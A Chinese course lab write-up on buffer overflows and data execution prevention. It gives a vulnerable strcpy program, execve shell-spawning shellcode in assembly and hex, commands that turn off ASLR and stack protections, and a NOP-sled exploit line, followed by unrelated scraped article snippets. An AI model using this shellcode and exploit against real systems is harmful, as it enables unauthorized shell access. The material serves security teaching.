操作系统安全实验

article/2025/10/17 22:53:24

缓冲区溢出与数据执行保护DEP实验

实验环境

虚拟机:VirtualBox 6.1.30
操作系统:Ubuntu21.04
主机OS:Microsoft Windows10

实验要求

  1. 在关闭数据执行保护机制下,在Linux系统平台上实现缓冲区溢出攻击
  2. 开启数据执行保护机制,运行一样的溢出攻击代码,比较实验现象

缓冲区溢出概述

  1. 定义
    • 缓冲区是指被程序内部使用或存放用户输入的内存区域,而溢出是指计算机向缓冲区填充数据时超出了缓冲区本身的容量,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
    • 由于堆栈是由内存高地址向内存低地址方向增长,而数组的变量是从内存低地址向高地址方向增长。如果没有对数据的越界进行检查和限制,通过向程序的数组缓冲区写入超出其长度的内容,覆盖堆栈原来的返回地址,就会造成缓冲区溢出,从而破坏程序的堆栈。如果构造特殊的注入向量覆盖返回地址,使程序转而执行恶意代码,就达到攻击的目的。
  2. 作用
    • 使程序崩溃,进行拒绝服务攻击
    • 在程序的地址空间里安排适当的代码。
  3. 原因
    • 程序没有仔细检查用户输入

数据执行保护DEP

  1. 原因
    在冯·诺依曼体系中不区分代码和数据

  2. 基本原理
    将数据所在内存页标识为不可执行,阻止数据页执行代码。当程序溢出成功尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

    image-20220407102843249

  3. 缺点

    • 硬件DEP需要CPU的支持,但并不是所有的CPU都提供了硬件DEP的支持
    • 由于兼容性的原因Windows不能对所有进程开启DEP保护,否则可能会出现异常。例如一些第三方的插件DLL,由于无法确认其是否支持DEP,对涉及这些DLL的程序不敢贸然开启DEP保护
    • 当DEP工作在最主要的两种状态optin和optout下时,DEP是可以被动态关闭和开启的,这就说明操作系统提供了某些API函数来控制DEP的状态,而API的调用没有任何限制

栈溢出

  1. 函数调用栈
    • 运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等
    • 在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大
    • 函数状态主要涉及三个寄存器
      • ebp 存储当前执行函数的基地址,在函数运行时不变,常用来索引确定函数参数或局部变量的位置。
      • esp 存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
      • eip 存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,然后eip 自动指向下一条指令

实验内容

  1. 编写可溢出程序

    // filename:bof.c
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char **argv){char buf[128];// buf是一个函数的局部变量,放在栈上if(argc < 2) return 1;strcpy (buf ,argv[1]);// 将调用程序后面的输入赋值到buf中,可能溢出printf("argv[1]:%s\n", buf);return 0;
    }
    
    • 溢出原因:strcpy函数赋值对于目的字符数组的空间溢出不进行检查
      image-20220412162711635

    • 使用如下指令编译程序
      gcc -z execstack -fno-stack-protector bof.c -o bof -m32

      • -z execstack:关闭栈保护执行,即栈内的数据页可以作为指令执行

      • -fno-stack-protector:

        禁用栈保护canary,如果启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中这个cookie信息称为canary。

  2. 编写shellcode

    • 定义:通常用于为攻击者启动一个能控制受害者机器的shell的一小段代码

    • Syscall的系统调用函数
      int execve(const char *filename, char *const argv[], char * envp[]);

      • 设置execve的系统调用号:%eax = 0xb
      • 第一个参数filename:%ebx指向系统调用文件字符串的首地址,字符串末尾为’/0’
      • argv:要传递给程序的完整参数列表,一般是执行程序的名字,使用%ecx指向
      • envp:指向执行execed程序的专门环境指针,使用%edx指向
    • 编写shellcode

      // filename:shellcode.c
      #include <stdio.h>
      void shellcode(){__asm__("xor %eax,%eax\n\t"		// 将eax寄存器异或处理值为0"pushl %eax\n\t"		// 将0压入栈,push相当于pushl"push $0x68732f2f\n\t"	// 将“//sh”压入栈,//是为了凑4个字节对齐"push $0x6e69622f\n\t"	// 将“/bin”压入栈"movl %esp,%ebx\n\t"	// 将栈底指针ebx赋值为当前栈顶指针esp"pushl %eax\n\t"		// 将0压入栈中"pushl %ebx\n\t"		// 将字符串“//sh/bin/0”的首地址压入栈中"movl %esp,%ecx\n\t"	// 让ecx指向ebx"cltd\n\t"				// 让eax拓展到edx:eax,即edx设置为0"movb $0xb,%al\n\t"		// 将execve的功能号赋值给eax的低八位"int $0x80\n\t"			// 使用软中断进行系统调用);
      }
      int main(int argc, char **argv){shellcode();return 0;
      }
      
    • 编译shellcode
      gcc -m32 -o shellcode shellcode.c
      image-20220413103138629

    • 反汇编shellcode
      objdump –d shellcode | less

      image-20220413103801240

    • 实现16进制的shellcode

      //filename: shellcode_asm.c
      #include<stdio.h>
      #include<string.h>
      int main(){char shellcode[]="\x31\xc0\x50\x68\x2f\x2f""\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89""\xe1\x99\xb0\x0b\xcd\x80";void (*fp)(void);fp = (void*)shellcode;fp();return 0;
      }
      

      gcc -z execstack -m32 -o shellcode shellcode_asm.c
      image-20220413103306547

  3. 关闭地址随机化ASLR保护机制
    sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

  4. 测试数组长度

    gcc -z execstack -fno-stack-protector bof.c -o bof -m32
    gdb -q --args ./bof $(python -c 'print "A" * 120 + "BBBB"+"CCCC"')   
    

    image-20220413104200859

    • 字符C的16进制为43,所以C覆盖了返回地址,导致程序中断,此时使用$x/200wx $esp - 200,找到字符A的连续值为41的起始地址shellAddress,再将shellAdderss覆盖到返回地址即可
  5. 成功

    gcc -z execstack -fno-stack-protector bof.c -o bof -m32
    gdb -q --args ./bof $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x98\xd3\xff\xff"')          
    
    • '\x90’表示NOP,即cpu向下滑动的控指令,因为编译过程可能增加变量导致地址改变,因此增加NOP,只要命中NOP中的一个即可向下滑动到shellcode执行
    image-20220413105131211 ![image-20220413105137339](https://img-blog.csdnimg.cn/img_convert/9ddc4eb5ad9f9f7aed547e06d25a77d8.png)

参考资料

  1. 缓冲区溢出实验https://blog.csdn.net/qq_38217427/article/details/105647504
  2. 缓冲区溢出攻击的分析及防范策略
    http://www.doczj.com/doc/acdc2c586d1aff00bed5b9f3f90f76c660374c00-3.html
  3. 栈溢出从入门到放弃https://zhuanlan.zhihu.com/p/25816426
  4. Windows 缓冲区溢出与数据执行保护DEP
    http://blog.csdn.net/morewindows/article/details/6887136
  5. 缓冲区溢出(栈溢出)https://www.cnblogs.com/tcctw/p/11487645.html
  6. 栈溢出综合知识https://space.bilibili.com/521870525/channel/seriesdetail?sid=665628
  7. Canary保护机制(栈保护)的开启与关闭
    https://blog.csdn.net/ConlinderFeng/article/details/108436147
  8. Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
    ail?sid=665628
  9. Canary保护机制(栈保护)的开启与关闭
    https://blog.csdn.net/ConlinderFeng/article/details/108436147
  10. Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153

http://chatgpt.dhexx.cn/article/xKFBq4ee.shtml

相关文章

网络安全教程(2)

目录 4-计算机病毒 4-1认识计算机病毒 4-1-1计算机病毒的概念 4-1-2计算机病毒的特点和分类 5-防火墙 5-1防火墙概述 5-1-1防火墙的概念 5-1-2防火墙的功能 5-1-3防火墙的分类 5-2防火墙主要技术 5-2-1包过滤技术 5-2-2应用代理技术 5-2-3状态检测技术 5-3防火墙体…

Android进程保活拉活

参考&#xff1a;腾讯视频相关视频公开课 学习资料: 探讨Android6.0及以上系统APP常驻内存(保活)实现-争宠篇 目录 一、进程的一些基本常识二、如何保活三、如何拉活四、总结 一、进程的一些基本常识 Low Memory Killer 系统出于体验和性能上的考虑&#xff0c;app在退到后台时…

网络安全之防火墙

目录 网络安全之防火墙 路由交换终归结底是联通新设备 防御对象&#xff1a; 定义&#xff1a; 防火墙的区域划分&#xff1a; 包过滤防火墙 --- 访问控制列表技术 --- 三层技术 代理防火墙 --- 中间人技术 --- 应用层 状态防火墙 --- 会话追踪技术 --- 三层、四层 UTM…

Android进程保活

自己曾经也在这个问题上伤过脑经&#xff0c;前几日刚好有一个北京的哥们在QQ说在做IM类的项目&#xff0c;问我进程保活如何处理比较恰当&#xff0c;决定去总结一下&#xff0c;网上搜索一下进程常驻的方案好多好多&#xff0c;但是很多的方案都是不靠谱的或者不是最好的&…

Android安全防护

各位大佬好&#xff0c;今天谈一下我在实际项目开发中遇到的APP安全以及我做的防护 Android开发者常常面临的一个问题就是防破解、 防二次打包。现如今,安全问题越来越重要,越来越多 的Android开发者也开始寻求安全的保护方案。首先说一下&#xff0c;我做的是保险行业的应用。…

多进程浏览器浅析

多进程的浏览器 对QQ浏览器的测试&#xff1a; 在打开八个网页页面之后&#xff0c;在任务管理器界面察看详细信息&#xff1a; 可以得知现在的浏览器应该都是多进程实现的。 那么为什么使用多进程来实现浏览器&#xff1f; 首先看一下进程与线程的区别&#xff1a; **进…

实战|使用Windows API绕过进程保护

首发于奇安信攻防社区 文章地址:https://forum.butian.net/share/817 前言 最近在研究某数字杀软的时候看到有个配置选项: img 这个自我保护实际上是加载360SelfProtection.sys驱动(看这名字应该还有360SelfProtection_win10.sys文件),丰告网在0环通过hook等手段保护注册…

进程和线程、线程安全

进程和线程 一个程序就是一个进程&#xff0c;而一个程序中的多个任务则被称为线程。 进程是表示资源分配的基本单位&#xff0c;线程是进程中执行运算的最小单位&#xff0c;亦是调度运行的基本单位。 实现多线程编程的方式有两种&#xff0c;一种是继承 Thread 类&#xf…

解决qq安全防护更新进程总提示的方法

怎么关闭qq防护更新进程窗口呢&#xff1f;此文就为大家分享解决qq安全防护更新进程关闭的方法。   1、首先可以双击打开“我的电脑”&#xff0c;直接搜索框输入C:\ProgramData\Tencent&#xff0c;回车&#xff0c;右击QQprotect文件&#xff0c;选择属性。 2、然后可以在页…

屏蔽QQ安全防护进程

转载于:https://www.cnblogs.com/dobbin2018/p/9899568.html

qq安全保护进程更改计算机,分享win10电脑系统关闭qq安全防护进程的步骤

今天IT天空小编要给大家分享下最新的教程 QQ是我们最常用的社交软件之一&#xff0c;win10系统常会弹出一个“QQ安全防护更新进程”的通知消息&#xff0c;虽然不是大问题&#xff0c;频繁提示确实有点烦人。那么win10系统关闭qq安全防护进程&#xff1f;关闭步骤有点麻烦&…

永久删除掉qq安全防护进程q盾

这个用不用qq都可以删&#xff0c;太占我内存了&#xff0c;今天实在受不了就清理了一下占内存的进程 步骤&#xff1a; 1.现在进程中结束Q盾进程 2.右键 “此电脑”&#xff0c;选择 “管理 - 服务和应用程序 - 服务”&#xff0c;找到 “QPCore Service”&#xff0c;禁用 …

win10电脑启动QQ/TIM遇到QQ安全防护进程,打不开TIM/QQ解决方法

启动QQ或者TIM时出现的界面 解决办法 1.winR 输入services.msc–按下回车键 2.进入服务–找到QPCore Service&#xff08;英文键盘下按Q键可以快速跳到Q开头的服务&#xff09; 可以看到我这里状态正在使用&#xff0c;因为这是我处理过的。打不开QQ的这里应该没有任何东西出现…

视图--sql String类型的日期数据如何与当前日期比较查询

日期数据在Sql Server数据库中不都是以日期类型保存的&#xff0c;如果数据库中保存日期字段的数据类型为varchar&#xff0c;而你又需要对这个日期和另外一个日期进行比较&#xff0c;那么该怎么办呢&#xff1f;总结有以下方法 &#xff08;1&#xff09;方法一 这个方法很…

sqlserver中比较日期大小

起始日期和终止日期&#xff0c;相信聪明的你肯定可以想象出为什么要有两个日期控件&#xff01;是的&#xff0c;就是从一张表中查找出在这两个日期范围类的记录&#xff01; 有的人就说了&#xff0c;这还不简单&#xff01; 假如我们将第一个控件定义成Begin&#xff0c;第…

SQL日期函数

一、知识点 在SQL中&#xff0c;由于不能直接执行算术函数&#xff0c;所以日期函数在SQL就十分有用。 日期函数拥有多个方法&#xff0c;每个方法都可以对日期进行查改或计算。 比如&#xff1a; GETDATE()方法&#xff0c;获取当前的系统日期。DATEADD(日期部分,number,date…

手动编译kernel和supplicant使树莓派支持wpa3

目前支持wpa3的client毕竟还少&#xff0c;因此决定用树莓派作为wpa3 client&#xff0c;同时为了方便分析wpa3有关的supplicant和 kernel的代码流程&#xff0c;决定手动编译。 编译之前需要下载树莓派对应的工具链和driver patch。 https://community.cypress.com/docs/DOC…

学一点Wi-Fi:WPA3 BP/OCV/SCV/PK/H2E/TD

WFA在2020年底发布了WPA3标准的第三版&#xff0c;其中又提出了一些新的feature。这里结合之前的版本简单总结一下。 1. BP BP是Beacon Protection的缩写。 问&#xff1a;Beacon中的信息都是未加密的&#xff0c;所以可能存在攻击者会对AP发出的Beacon信息进行篡改。 解&a…

针对WPA3认证的802.11协议分析

i 一、对管理帧的关键参数分析 AP的认证方式&#xff0c;可通过802.11管理帧&#xff08;Beacon帧、Probe Response帧&#xff09;中的相关参数进行判断&#xff0c;以WPA/WPA2-Persoanl类型的AP为例进行具体说明&#xff1a; Beacon帧&#xff08;主动扫描&#xff0…

【Hostapd support for WPA3 R3 Wi-Fi Security】

概述 WiFi 联盟将从 2022 年 1 月开始强制要求 WPA3 R3 进行认证。现有的 wpa_supplicant v2.9 和 hostapd v2.9 及以下版本不支持 WPA3-R3。需更新到hostapd v2.10版本以上才支持。 笔记 1.Wi-Fi联盟推出了被称为WPA3 R3版本&#xff0c;其中提出了Hash to Element(H2E)作为…